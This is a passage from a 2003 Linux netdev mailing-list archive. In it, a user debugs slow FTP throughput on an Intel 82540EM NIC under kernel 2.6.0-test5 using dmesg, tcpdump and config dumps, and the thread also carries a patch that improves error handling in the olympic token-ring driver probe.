0.0.0.0:6000 0.0.0.0:* LISTEN 1036/X tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 921/sshd tcp 0 66608 146.126.194.254:32804 146.126.60.140:50182 ESTABLISHED 1686/ftp tcp 0 0 146.126.194.254:32805 146.126.88.210:443 ESTABLISHED 1594/mozilla-bin tcp 0 0 146.126.194.254:32803 146.126.60.140:21 ESTABLISHED 1686/ftp iptables is on the system. I ran "/etc/init.d/iptables stop" and re-tried ftp, but that didn't make a difference. Here is grep ^C /usr/src/linux/.config CONFIG_X86=y CONFIG_MMU=y CONFIG_UID16=y CONFIG_GENERIC_ISA_DMA=y CONFIG_EXPERIMENTAL=y CONFIG_CLEAN_COMPILE=y CONFIG_STANDALONE=y CONFIG_BROKEN_ON_SMP=y CONFIG_SWAP=y CONFIG_SYSVIPC=y CONFIG_SYSCTL=y CONFIG_LOG_BUF_SHIFT=14 CONFIG_EMBEDDED=y CONFIG_KALLSYMS=y CONFIG_FUTEX=y CONFIG_EPOLL=y CONFIG_IOSCHED_AS=y CONFIG_IOSCHED_DEADLINE=y CONFIG_X86_PC=y CONFIG_MPENTIUM4=y CONFIG_X86_CMPXCHG=y CONFIG_X86_XADD=y CONFIG_X86_L1_CACHE_SHIFT=7 CONFIG_RWSEM_XCHGADD_ALGORITHM=y CONFIG_X86_WP_WORKS_OK=y CONFIG_X86_INVLPG=y CONFIG_X86_BSWAP=y CONFIG_X86_POPAD_OK=y CONFIG_X86_GOOD_APIC=y CONFIG_X86_INTEL_USERCOPY=y CONFIG_X86_USE_PPRO_CHECKSUM=y CONFIG_X86_TSC=y CONFIG_X86_MCE=y CONFIG_NOHIGHMEM=y CONFIG_MTRR=y CONFIG_PM=y CONFIG_PCI=y CONFIG_PCI_GOANY=y CONFIG_PCI_BIOS=y CONFIG_PCI_DIRECT=y CONFIG_PCI_NAMES=y CONFIG_BINFMT_ELF=y CONFIG_PNP=y CONFIG_BLK_DEV_FD=y CONFIG_BLK_DEV_RAM=y CONFIG_BLK_DEV_RAM_SIZE=4096 CONFIG_IDE=y CONFIG_BLK_DEV_IDE=y CONFIG_BLK_DEV_IDEDISK=y CONFIG_IDEDISK_MULTI_MODE=y CONFIG_BLK_DEV_IDECD=y CONFIG_BLK_DEV_IDEFLOPPY=y CONFIG_BLK_DEV_IDEPCI=y CONFIG_IDEPCI_SHARE_IRQ=y CONFIG_BLK_DEV_GENERIC=y CONFIG_BLK_DEV_IDEDMA_PCI=y CONFIG_IDEDMA_PCI_AUTO=y CONFIG_BLK_DEV_ADMA=y CONFIG_BLK_DEV_PIIX=y CONFIG_BLK_DEV_IDEDMA=y CONFIG_IDEDMA_AUTO=y CONFIG_NET=y CONFIG_PACKET=y CONFIG_PACKET_MMAP=y CONFIG_UNIX=y CONFIG_NET_KEY=y CONFIG_INET=y CONFIG_NETFILTER=y CONFIG_IP_NF_CONNTRACK=y CONFIG_IP_NF_FTP=y CONFIG_IP_NF_IPTABLES=y CONFIG_IP_NF_MATCH_LIMIT=y CONFIG_IP_NF_MATCH_PKTTYPE=y CONFIG_IP_NF_MATCH_MARK=y CONFIG_IP_NF_MATCH_MULTIPORT=y CONFIG_IP_NF_MATCH_TOS=y CONFIG_IP_NF_MATCH_ECN=y CONFIG_IP_NF_MATCH_DSCP=y CONFIG_IP_NF_MATCH_STATE=y CONFIG_IP_NF_MATCH_CONNTRACK=y CONFIG_IP_NF_FILTER=y CONFIG_IP_NF_TARGET_REJECT=y CONFIG_IP_NF_MANGLE=y CONFIG_IP_NF_TARGET_LOG=y CONFIG_XFRM=y CONFIG_IPV6_SCTP__=y CONFIG_NETDEVICES=y CONFIG_NET_ETHERNET=y CONFIG_NET_PCI=y CONFIG_EEPRO100=y CONFIG_E1000=y CONFIG_E1000_NAPI=y CONFIG_INPUT=y CONFIG_INPUT_MOUSEDEV=y CONFIG_INPUT_MOUSEDEV_PSAUX=y CONFIG_INPUT_MOUSEDEV_SCREEN_X=1024 CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768 CONFIG_SOUND_GAMEPORT=y CONFIG_SERIO=y CONFIG_SERIO_I8042=y CONFIG_SERIO_SERPORT=y CONFIG_INPUT_KEYBOARD=y CONFIG_KEYBOARD_ATKBD=y CONFIG_INPUT_MOUSE=y CONFIG_MOUSE_PS2=y CONFIG_VT=y CONFIG_VT_CONSOLE=y CONFIG_HW_CONSOLE=y CONFIG_UNIX98_PTYS=y CONFIG_UNIX98_PTY_COUNT=128 CONFIG_RTC=y CONFIG_AGP=y CONFIG_AGP_INTEL=y CONFIG_DRM=y CONFIG_DRM_I810=y CONFIG_EXT2_FS=y CONFIG_EXT3_FS=y CONFIG_JBD=y CONFIG_ISO9660_FS=y CONFIG_JOLIET=y CONFIG_FAT_FS=y CONFIG_MSDOS_FS=y CONFIG_PROC_FS=y CONFIG_DEVPTS_FS=y CONFIG_TMPFS=y CONFIG_RAMFS=y CONFIG_SMB_FS=y CONFIG_MSDOS_PARTITION=y CONFIG_SMB_NLS=y CONFIG_NLS=y CONFIG_NLS_DEFAULT="iso8859-1" CONFIG_NLS_CODEPAGE_437=y CONFIG_FB=y CONFIG_FB_VGA16=y CONFIG_FB_VESA=y CONFIG_VIDEO_SELECT=y CONFIG_VGA_CONSOLE=y CONFIG_DUMMY_CONSOLE=y CONFIG_FRAMEBUFFER_CONSOLE=y CONFIG_PCI_CONSOLE=y CONFIG_FONT_8x8=y CONFIG_FONT_8x16=y CONFIG_SOUND=y CONFIG_SOUND_PRIME=y CONFIG_SOUND_ICH=y CONFIG_DEBUG_KERNEL=y CONFIG_MAGIC_SYSRQ=y CONFIG_X86_BIOS_REBOOT=y dmesg shows "e1000: eth0 NIC Link is Up 100 Mbps Full Duplex". Here is the full dmesg log: Linux version 2.6.0-test5 (root@hilltop) (gcc version 3.2.2 20030222 (Red Hat Linux 3.2.2-5)) #3 Wed Sep 10 10:07:45 EDT 2003 Video mode to be used for restore is f00 BIOS-provided physical RAM map: BIOS-e820: 0000000000000000 - 00000000000a0000 (usable) BIOS-e820: 00000000000f0000 - 0000000000100000 (reserved) BIOS-e820: 0000000000100000 - 000000001fe71000 (usable) BIOS-e820: 000000001fe71000 - 000000001fe73000 (ACPI NVS) BIOS-e820: 000000001fe73000 - 000000001fe94000 (ACPI data) BIOS-e820: 000000001fe94000 - 000000001ff00000 (reserved) BIOS-e820: 00000000fec00000 - 00000000fec10000 (reserved) BIOS-e820: 00000000fee00000 - 00000000fee10000 (reserved) BIOS-e820: 00000000ffb00000 - 0000000100000000 (reserved) 510MB LOWMEM available. On node 0 totalpages: 130673 DMA zone: 4096 pages, LIFO batch:1 Normal zone: 126577 pages, LIFO batch:16 HighMem zone: 0 pages, LIFO batch:1 DMI 2.3 present. Building zonelist for node : 0 Kernel command line: ro nousb profile=2 kernel profiling enabled Initializing CPU#0 PID hash table entries: 2048 (order 11: 16384 bytes) Detected 1793.494 MHz processor. Console: colour VGA+ 80x25 Memory: 512536k/522692k available (1601k kernel code, 9376k reserved, 468k data, 300k init, 0k highmem) Calibrating delay loop... 3538.94 BogoMIPS Dentry cache hash table entries: 65536 (order: 6, 262144 bytes) Inode-cache hash table entries: 32768 (order: 5, 131072 bytes) Mount-cache hash table entries: 512 (order: 0, 4096 bytes) -> /dev -> /dev/console -> /root CPU: After generic identify, caps: bfebfbff 00000000 00000000 00000000 CPU: After vendor identify, caps: bfebfbff 00000000 00000000 00000000 CPU: Trace cache: 12K uops, L1 D cache: 8K CPU: L2 cache: 512K CPU: After all inits, caps: bfebfbff 00000000 00000000 00000080 Intel machine check architecture supported. Intel machine check reporting enabled on CPU#0. CPU#0: Intel P4/Xeon Extended MCE MSRs (12) available CPU: Intel(R) Pentium(R) 4 CPU 1.80GHz stepping 07 Enabling fast FPU save and restore... done. Enabling unmasked SIMD FPU exception support... done. Checking 'hlt' instruction... OK. POSIX conformance testing by UNIFIX NET: Registered protocol family 16 PCI: PCI BIOS revision 2.10 entry at 0xfbdf8, last bus=1 PCI: Using configuration type 1 mtrr: v2.0 (20020519) Linux Plug and Play Support v0.97 (c) Adam Belay PCI: Probing PCI hardware PCI: Probing PCI hardware (bus 00) PCI: Ignoring BAR0-3 of IDE controller 0000:00:1f.1 Transparent bridge - 0000:00:1e.0 PCI: Using IRQ router PIIX [8086/24c0] at 0000:00:1f.0 PCI: IRQ 0 for device 0000:00:1f.1 doesn't match PIRQ mask - try pci=usepirqmask PCI: Found IRQ 10 for device 0000:00:1f.1 PCI: Sharing IRQ 10 with 0000:00:1d.2 PCI: Sharing IRQ 10 with 0000:01:0c.0 vga16fb: initializing vga16fb: mapped to 0xc00a0000 fb0: VGA16 VGA frame buffer device Console: switching to colour frame buffer device 80x30 pty: 256 Unix98 ptys configured SBF: Simple Boot Flag extension found and enabled. SBF: Simple boot flag value 0x87 read from CMOS RAM was invalid SBF: Setting boot flags 0x1 Real Time Clock Driver v1.12 Linux agpgart interface v0.100 (c) Dave Jones agpgart: Detected an Intel 845G Chipset. agpgart: Maximum main memory to use for agp memory: 438M agpgart: Detected 892K stolen memory. agpgart: AGP aperture is 128M @ 0xe8000000 [drm] Initialized i810 1.4.0 20030605 on minor 0 Using anticipatory scheduling io scheduler Floppy drive(s): fd0 is 1.44M FDC 0 is a post-1991 82077 RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize Intel(R) PRO/1000 Network Driver - version 5.2.16-k1 Copyright (c) 1999-2003 Intel Corporation. PCI: Found IRQ 10 for device 0000:01:0c.0 PCI: Sharing IRQ 10 with 0000:00:1d.2 PCI: Sharing IRQ 10 with 0000:00:1f.1 eth0: Intel(R) PRO/1000 Network Connection Uniform Multi-Platform E-IDE driver Revision: 7.00alpha2 ide: Assuming 33MHz system bus speed for PIO modes; override with idebus=xx ICH4: IDE controller at PCI slot 0000:00:1f.1 PCI: Enabling device 0000:00:1f.1 (0005 -> 0007) PCI: Found IRQ 10 for device 0000:00:1f.1 PCI: Sharing IRQ 10 with 0000:00:1d.2 PCI: Sharing IRQ 10 with 0000:01:0c.0 ICH4: chipset revision 1 ICH4: not 100% native mode: will probe irqs later ide0: BM-DMA at 0xffa0-0xffa7, BIOS settings: hda:DMA, hdb:pio ide1: BM-DMA at 0xffa8-0xffaf, BIOS settings: hdc:DMA, hdd:pio hda: ST340016A, ATA DISK drive ide0 at 0x1f0-0x1f7,0x3f6 on irq 14 hdc: SAMSUNG DVD-ROM SD-616T, ATAPI CD/DVD-ROM drive ide1 at 0x170-0x177,0x376 on irq 15 hda: max request size: 128KiB hda: 78165360 sectors (40020 MB) w/2048KiB Cache, CHS=65535/16/63, UDMA(100) hda: hda1 hda2 hda3 hda4 < hda5 > hdc: ATAPI 48X DVD-ROM drive, 512kB Cache, UDMA(33) Uniform CD-ROM driver Revision: 3.12 ide-floppy driver 0.99.newide Console: switching to colour frame buffer device 80x30 mice: PS/2 mouse device common for all mice input: ImPS/2 Generic Wheel Mouse on isa0060/serio1 serio: i8042 AUX port at 0x60,0x64 irq 12 input: AT Set 2 keyboard on isa0060/serio0 serio: i8042 KBD port at 0x60,0x64 irq 1 Intel 810 + AC97 Audio, version 0.24, 17:13:46 Sep 8 2003 PCI: Found IRQ 11 for device 0000:00:1f.5 PCI: Sharing IRQ 11 with 0000:00:1f.3 PCI: Setting latency timer of device 0000:00:1f.5 to 64 i810: Intel ICH4 found at IO 0xdc40 and 0xd800, MEM 0xffa00400 and 0xffa00000, IRQ 11 i810: Intel ICH4 mmio at 0xe08ca400 and 0xe08cc000 i810_audio: Primary codec has ID 0 i810_audio: Audio Controller supports 6 channels. i810_audio: Defaulting to base 2 channel mode. i810_audio: Resetting connection 0 i810_audio: Connection 0 with codec id 0 ac97_codec: AC97 Audio codec, id: ADS116 (Unknown) i810_audio: AC'97 codec 0 supports AMAP, total channels = 2 i810_audio: setting clocking to 48648 NET: Registered protocol family 2 IP: routing cache hash table of 4096 buckets, 32Kbytes TCP: Hash tables configured (established 32768 bind 65536) ip_conntrack version 2.1 (4083 buckets, 32664 max) - 160 bytes per conntrack ip_tables: (C) 2000-2002 Netfilter core team NET: Registered protocol family 1 NET: Registered protocol family 17 NET: Registered protocol family 15 kjournald starting. Commit interval 5 seconds EXT3-fs: mounted filesystem with ordered data mode. VFS: Mounted root (ext3 filesystem) readonly. Freeing unused kernel memory: 300k freed EXT3 FS on hda2, internal journal Adding 514072k swap on /dev/hda3. Priority:-1 extents:1 kjournald starting. Commit interval 5 seconds EXT3 FS on hda5, internal journal EXT3-fs: mounted filesystem with ordered data mode. blk: queue dfcdea00, I/O limit 4095Mb (mask 0xffffffff) e1000: eth0 NIC Link is Up 100 Mbps Full Duplex spurious 8259A interrupt: IRQ7. Here is a short snippet of "tcpdump -s 1500 host $remotehost" 14:22:44.181589 tcmsgpc.southernco.com.50182 > sixgp06w.southernco.com.32804: . ack 3236331158 win 24616 (DF) 14:22:44.488916 sixgp06w.southernco.com.32804 > tcmsgpc.southernco.com.50182: . 1:1449(1448) ack 0 win 5840 (DF) [tos 0x8] 14:22:44.601516 tcmsgpc.southernco.com.50182 > sixgp06w.southernco.com.32804: . ack 1449 win 24616 (DF) 14:22:44.601551 sixgp06w.southernco.com.32804 > tcmsgpc.southernco.com.50182: . 1449:2897(1448) ack 0 win 5840 (DF) [tos 0x8] 14:22:44.601560 sixgp06w.southernco.com.32804 > tcmsgpc.southernco.com.50182: . 2897:4345(1448) ack 0 win 5840 (DF) [tos 0x8] 14:22:44.602592 tcmsgpc.southernco.com.50182 > sixgp06w.southernco.com.32804: . ack 4345 win 24616 (DF) 14:22:44.602607 sixgp06w.southernco.com.32804 > tcmsgpc.southernco.com.50182: . 4345:5793(1448) ack 0 win 5840 (DF) [tos 0x8] 14:22:44.602614 sixgp06w.southernco.com.32804 > tcmsgpc.southernco.com.50182: . 5793:7241(1448) ack 0 win 5840 (DF) [tos 0x8] 14:22:44.603513 tcmsgpc.southernco.com.50182 > sixgp06w.southernco.com.32804: . ack 7241 win 24616 (DF) 14:22:44.603526 sixgp06w.southernco.com.32804 > tcmsgpc.southernco.com.50182: . 7241:8689(1448) ack 0 win 5840 (DF) [tos 0x8] 14:22:44.603533 sixgp06w.southernco.com.32804 > tcmsgpc.southernco.com.50182: P 8689:10137(1448) ack 0 win 5840 (DF) [tos 0x8] 14:22:44.604437 tcmsgpc.southernco.com.50182 > sixgp06w.southernco.com.32804: . ack 10137 win 24616 (DF) 14:22:44.604451 sixgp06w.southernco.com.32804 > tcmsgpc.southernco.com.50182: . 10137:10085(4294967244) ack 0 win 5840 (DF) [tos 0x8] 14:22:44.721478 tcmsgpc.southernco.com.50182 > sixgp06w.southernco.com.32804: . ack 11585 win 24616 (DF) 14:22:44.721497 sixgp06w.southernco.com.32804 > tcmsgpc.southernco.com.50182: . 11585:13033(1448) ack 0 win 5840 (DF) [tos 0x8] 14:22:44.841444 tcmsgpc.southernco.com.50182 > sixgp06w.southernco.com.32804: . ack 13033 win 24616 (DF) 14:22:44.841505 sixgp06w.southernco.com.32804 > tcmsgpc.southernco.com.50182: . 13033:14481(1448) ack 0 win 5840 (DF) [tos 0x8] 14:22:44.961555 tcmsgpc.southernco.com.50182 > sixgp06w.southernco.com.32804: . ack 14481 win 24616 (DF) 14:22:44.961575 sixgp06w.southernco.com.32804 > tcmsgpc.southernco.com.50182: . 14481:15929(1448) ack 0 win 5840 (DF) [tos 0x8] 14:22:45.081516 tcmsgpc.southernco.com.50182 > sixgp06w.southernco.com.32804: . ack 15929 win 24616 (DF) 14:22:45.081535 sixgp06w.southernco.com.32804 > tcmsgpc.southernco.com.50182: . 15929:17377(1448) ack 0 win 5840 (DF) [tos 0x8] 14:22:45.201477 tcmsgpc.southernco.com.50182 > sixgp06w.southernco.com.32804: . ack 17377 win 24616 (DF) 14:22:45.201494 sixgp06w.southernco.com.32804 > tcmsgpc.southernco.com.50182: . 17377:18825(1448) ack 0 win 5840 (DF) [tos 0x8] 14:22:45.321599 tcmsgpc.southernco.com.50182 > sixgp06w.southernco.com.32804: . ack 18825 win 24616 (DF) 14:22:45.321670 sixgp06w.southernco.com.32804 > tcmsgpc.southernco.com.50182: . 18825:20273(1448) ack 0 win 5840 (DF) [tos 0x8] 14:22:45.441416 tcmsgpc.southernco.com.50182 > sixgp06w.southernco.com.32804: . ack 20273 win 24616 (DF) 14:22:45.441511 sixgp06w.southernco.com.32804 > tcmsgpc.southernco.com.50182: . 20273:21721(1448) ack 0 win 5840 (DF) [tos 0x8] 14:22:45.561525 tcmsgpc.southernco.com.50182 > sixgp06w.southernco.com.32804: . ack 21721 win 24616 (DF) 14:22:45.561610 sixgp06w.southernco.com.32804 > tcmsgpc.southernco.com.50182: . 21721:21669(4294967244) ack 0 win 5840 (DF) [tos 0x8] 14:22:45.681540 tcmsgpc.southernco.com.50182 > sixgp06w.southernco.com.32804: . ack 23169 win 24616 (DF) 14:22:45.988697 sixgp06w.southernco.com.32804 > tcmsgpc.southernco.com.50182: . 23169:24617(1448) ack 0 win 5840 (DF) [tos 0x8] 14:22:46.101407 tcmsgpc.southernco.com.50182 > sixgp06w.southernco.com.32804: . ack 24617 win 24616 (DF) 14:22:46.101478 sixgp06w.southernco.com.32804 > tcmsgpc.southernco.com.50182: . 24617:26065(1448) ack 0 win 5840 (DF) [tos 0x8] 14:22:46.101492 sixgp06w.southernco.com.32804 > tcmsgpc.southernco.com.50182: . 26065:27513(1448) ack 0 win 5840 (DF) [tos 0x8] 14:22:46.102601 tcmsgpc.southernco.com.50182 > sixgp06w.southernco.com.32804: . ack 27513 win 24616 (DF) 14:22:46.102616 sixgp06w.southernco.com.32804 > tcmsgpc.southernco.com.50182: . 27513:28961(1448) ack 0 win 5840 (DF) [tos 0x8] 14:22:46.102622 sixgp06w.southernco.com.32804 > tcmsgpc.southernco.com.50182: . 28961:30409(1448) ack 0 win 5840 (DF) [tos 0x8] 14:22:46.103601 tcmsgpc.southernco.com.50182 > sixgp06w.southernco.com.32804: . ack 30409 win 24616 (DF) 14:22:46.103614 sixgp06w.southernco.com.32804 > tcmsgpc.southernco.com.50182: . 30409:31857(1448) ack 0 win 5840 (DF) [tos 0x8] 14:22:46.103621 sixgp06w.southernco.com.32804 > tcmsgpc.southernco.com.50182: . 31857:33305(1448) ack 0 win 5840 (DF) [tos 0x8] 14:22:46.104600 tcmsgpc.southernco.com.50182 > sixgp06w.southernco.com.32804: . ack 33305 win 24616 (DF) 14:22:46.104613 sixgp06w.southernco.com.32804 > tcmsgpc.southernco.com.50182: . 33305:33253(4294967244) ack 0 win 5840 (DF) [tos 0x8] Here is lspci: 00:00.0 Host bridge: Intel Corp. 82845G/GL [Brookdale-G] Chipset Host Bridge (rev 01) 00:02.0 VGA compatible controller: Intel Corp. 82845G/GL [Brookdale-G] Chipset Integrated Graphics Device (rev 01) 00:1d.0 USB Controller: Intel Corp. 82801DB USB (Hub #1) (rev 01) 00:1d.1 USB Controller: Intel Corp. 82801DB USB (Hub #2) (rev 01) 00:1d.2 USB Controller: Intel Corp. 82801DB USB (Hub #3) (rev 01) 00:1d.7 USB Controller: Intel Corp. 82801DB USB EHCI Controller (rev 01) 00:1e.0 PCI bridge: Intel Corp. 82801BA/CA/DB PCI Bridge (rev 81) 00:1f.0 ISA bridge: Intel Corp. 82801DB ISA Bridge (LPC) (rev 01) 00:1f.1 IDE interface: Intel Corp. 82801DB ICH4 IDE (rev 01) 00:1f.3 SMBus: Intel Corp. 82801DB SMBus (rev 01) 00:1f.5 Multimedia audio controller: Intel Corp. 82801DB AC'97 Audio (rev 01) 01:0c.0 Ethernet controller: Intel Corp. 82540EM Gigabit Ethernet Controller (rev 02) Is anyone getting decent throughput from an Intel 82540EM Gigabit Ethernet Controller with 2.6.0-test? Suggestions are welcome. -- Randy Hron http://home.earthlink.net/~rwhron/kernel/bigbox.html From scott.feldman@intel.com Wed Sep 10 17:29:04 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 10 Sep 2003 17:29:11 -0700 (PDT) Received: from hermes.py.intel.com (hermes.py.intel.com [146.152.216.3]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8B0T3x4029311 for ; Wed, 10 Sep 2003 17:29:03 -0700 Received: from petasus.py.intel.com (petasus.py.intel.com [146.152.221.4]) by hermes.py.intel.com (8.11.6p2/8.11.6/d: outer.mc,v 1.83 2003/09/05 14:45:27 rfjohns1 Exp $) with ESMTP id h8B0OEU24477 for ; Thu, 11 Sep 2003 00:24:14 GMT Received: from orsmsxvs040.jf.intel.com (orsmsxvs040.jf.intel.com [192.168.65.206]) by petasus.py.intel.com (8.11.6p2/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h8B0SfI21444 for ; Thu, 11 Sep 2003 00:28:41 GMT Received: from orsmsx332.amr.corp.intel.com ([192.168.65.60]) by orsmsxvs040.jf.intel.com (NAVGW 2.5.2.11) with SMTP id M2003091017285620290 ; Wed, 10 Sep 2003 17:28:56 -0700 Received: from orsmsx402.amr.corp.intel.com ([192.168.65.208]) by orsmsx332.amr.corp.intel.com with Microsoft SMTPSVC(5.0.2195.5329); Wed, 10 Sep 2003 17:28:56 -0700 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-MimeOLE: Produced By Microsoft Exchange V6.0.6375.0 Subject: RE: 82540EM very slow on 2.6.0-test[45] Date: Wed, 10 Sep 2003 17:28:56 -0700 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: 82540EM very slow on 2.6.0-test[45] Thread-Index: AcN389yudSU7lsX6RBy95YtoMGl/TgABmeOw From: "Feldman, Scott" To: , X-OriginalArrivalTime: 11 Sep 2003 00:28:56.0813 (UTC) FILETIME=[AFE6A1D0:01C377FB] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id h8B0T3x4029311 X-archive-position: 5749 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: scott.feldman@intel.com Precedence: bulk X-list: netdev Content-Length: 673 Lines: 22 > ftp'ing a multi-megabyte file gives about 16-20k/second > throughput. I first noticed this on 2.6.0-test4, but > the slowness may have existed longer. The destination > machine was running Solaris 8. Linux -> Solaris > This is a dual boot Dell P4. XP is about 1000x faster for > an ftp xfer, so the network seems okay. Is this Linux -> XP or XP -> Solaris? Trying to eliminate one player. What about Linux -> Linux? Is that slow? > dmesg shows "e1000: eth0 NIC Link is Up 100 Mbps Full > Duplex". Here is the full dmesg log: This feels like a duplex mis-match. Do you have good cat 5 cables? Are you using the same cable for the different tests? -scott From rwhron@earthlink.net Wed Sep 10 19:05:36 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 10 Sep 2003 19:05:41 -0700 (PDT) Received: from soulshock.mail.pas.earthlink.net (soulshock.mail.pas.earthlink.net [207.217.120.130]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8B25Xx4031866 for ; Wed, 10 Sep 2003 19:05:35 -0700 Received: from scaup.mail.pas.earthlink.net (scaup.mail.pas.earthlink.net [207.217.120.49]) by soulshock.mail.pas.earthlink.net (8.11.6+Sun/8.11.6) with ESMTP id h8B1KOu05720 for ; Wed, 10 Sep 2003 18:20:24 -0700 (PDT) Received: from user-38ld1j0.dialup.mindspring.com ([209.86.134.96] helo=earthlink.net) by scaup.mail.pas.earthlink.net with smtp (Exim 3.33 #1) id 19xG0M-0000cm-00; Wed, 10 Sep 2003 18:12:15 -0700 Date: Wed, 10 Sep 2003 21:14:43 -0400 To: scott.feldman@intel.com Cc: netdev@oss.sgi.com Subject: RE: 82540EM very slow on 2.6.0-test[45] Message-ID: <20030911011443.GA22440@rushmore> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.1i From: rwhron@earthlink.net X-archive-position: 5750 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rwhron@earthlink.net Precedence: bulk X-list: netdev Content-Length: 1205 Lines: 40 >> ftp'ing a multi-megabyte file gives about 16-20k/second >> throughput. The destination machine was running Solaris 8. > Linux -> Solaris Linux doing an ftp put on Solaris. >> This is a dual boot Dell P4. XP is about 1000x faster for >> an ftp xfer, so the network seems okay. > Is this Linux -> XP or XP -> Solaris? Trying to eliminate one player. Linux ftp put to Solaris is slow. When booted into XP, ftp put to Solaris is fast. Solaris -> Solaris is fast too. > What about Linux -> Linux? Is that slow? I will try that and some other combinations. >> dmesg shows "e1000: eth0 NIC Link is Up 100 Mbps Full Duplex". > This feels like a duplex mis-match. Could well be. On our LAN, Solaris often has to be forced full-duplex because auto-negotiate to the switches gives half-duplex. The ftp server is full duplex. The client and server are on different segments. I'll check if the PC is using correct duplex/speed for it's segment. > Are you using the same cable for the different tests? Yes. Same cable, same PC. I swapped CAT5 cables, but that didn't change throughput. Thanks for the suggestions! -- Randy Hron http://home.earthlink.net/~rwhron/kernel/bigbox.html From rddunlap@osdl.org Wed Sep 10 21:40:23 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 10 Sep 2003 21:40:30 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8B4eMx4003186 for ; Wed, 10 Sep 2003 21:40:23 -0700 Received: from midway.verizon.net (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8B4eGo08206; Wed, 10 Sep 2003 21:40:16 -0700 Date: Wed, 10 Sep 2003 21:37:58 -0700 From: "Randy.Dunlap" To: netdev@oss.sgi.com Cc: jgarzik@pobox.com Subject: [PATCH] tr/olympic probe: remove #warning, improve error handling Message-Id: <20030910213758.78570231.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5751 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Content-Length: 2734 Lines: 98 Hi, This patch to 2.6.0-test5 removes the #warning in tokenring/olympic.c and improves error handling in the probe function. Comments? or merge? Thanks, -- ~Randy patch_name: tr_olympic_probe.patch patch_version: 2003-09-10.21:32:18 author: Randy.Dunlap description: remove #warning to check ioremap() results; add more error handling to probe function; product: Linux product_versions: 260-test5 maintainer: jgarzik@pobox.com diffstat: = drivers/net/tokenring/olympic.c | 37 ++++++++++++++++++++++++------------- 1 files changed, 24 insertions(+), 13 deletions(-) diff -Naur ./drivers/net/tokenring/olympic.c~olyprobe ./drivers/net/tokenring/olympic.c --- ./drivers/net/tokenring/olympic.c~olyprobe 2003-09-08 12:50:21.000000000 -0700 +++ ./drivers/net/tokenring/olympic.c 2003-09-10 21:26:00.000000000 -0700 @@ -210,14 +210,13 @@ pci_set_master(pdev); if ((i = pci_request_regions(pdev,"olympic"))) { - return i ; - } ; + goto op_disable_dev; + } dev = alloc_trdev(sizeof(struct olympic_private)) ; - if (!dev) { - pci_release_regions(pdev) ; - return -ENOMEM ; + i = -ENOMEM; + goto op_free_dev; } olympic_priv = dev->priv ; @@ -231,10 +230,12 @@ dev->base_addr=pci_resource_start(pdev, 0); dev->init=NULL; /* Must be NULL otherwise we get called twice */ olympic_priv->olympic_card_name = pci_name(pdev); + olympic_priv->pdev = pdev; olympic_priv->olympic_mmio = ioremap(pci_resource_start(pdev,1),256); olympic_priv->olympic_lap = ioremap(pci_resource_start(pdev,2),2048); -#warning check ioremap return value - olympic_priv->pdev = pdev ; + if (!olympic_priv->olympic_mmio || !olympic_priv->olympic_lap) { + goto op_free_iomap; + } if ((pkt_buf_sz[card_no] < 100) || (pkt_buf_sz[card_no] > 18000) ) olympic_priv->pkt_buf_sz = PKT_BUF_SZ ; @@ -246,12 +247,8 @@ olympic_priv->olympic_message_level = message_level[card_no] ; olympic_priv->olympic_network_monitor = network_monitor[card_no]; - if((i = olympic_init(dev))) { - iounmap(olympic_priv->olympic_mmio) ; - iounmap(olympic_priv->olympic_lap) ; - kfree(dev) ; - pci_release_regions(pdev) ; - return i ; + if ((i = olympic_init(dev))) { + goto op_free_iomap; } dev->open=&olympic_open; @@ -275,6 +272,20 @@ printk("Olympic: Network Monitor information: /proc/%s\n",proc_name); } return 0 ; + +op_free_iomap: + if (olympic_priv->olympic_mmio) + iounmap(olympic_priv->olympic_mmio); + if (olympic_priv->olympic_lap) + iounmap(olympic_priv->olympic_lap); + +op_free_dev: + free_netdev(dev); + pci_release_regions(pdev); + +op_disable_dev: + pci_disable_device(pdev); + return i; } static int __devinit olympic_init(struct net_device *dev) From pekkas@netcore.fi Thu Sep 11 00:49:26 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 00:49:39 -0700 (PDT) Received: from netcore.fi (netcore.fi [193.94.160.1]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8B7nMx4007646 for ; Thu, 11 Sep 2003 00:49:24 -0700 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id h8B7n8N10239; Thu, 11 Sep 2003 10:49:08 +0300 Date: Thu, 11 Sep 2003 10:49:08 +0300 (EEST) From: Pekka Savola To: David Woodhouse cc: netdev@oss.sgi.com Subject: Re: IPv6 6to4 on site-local networks. In-Reply-To: <1063233839.7869.385.camel@imladris.demon.co.uk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; 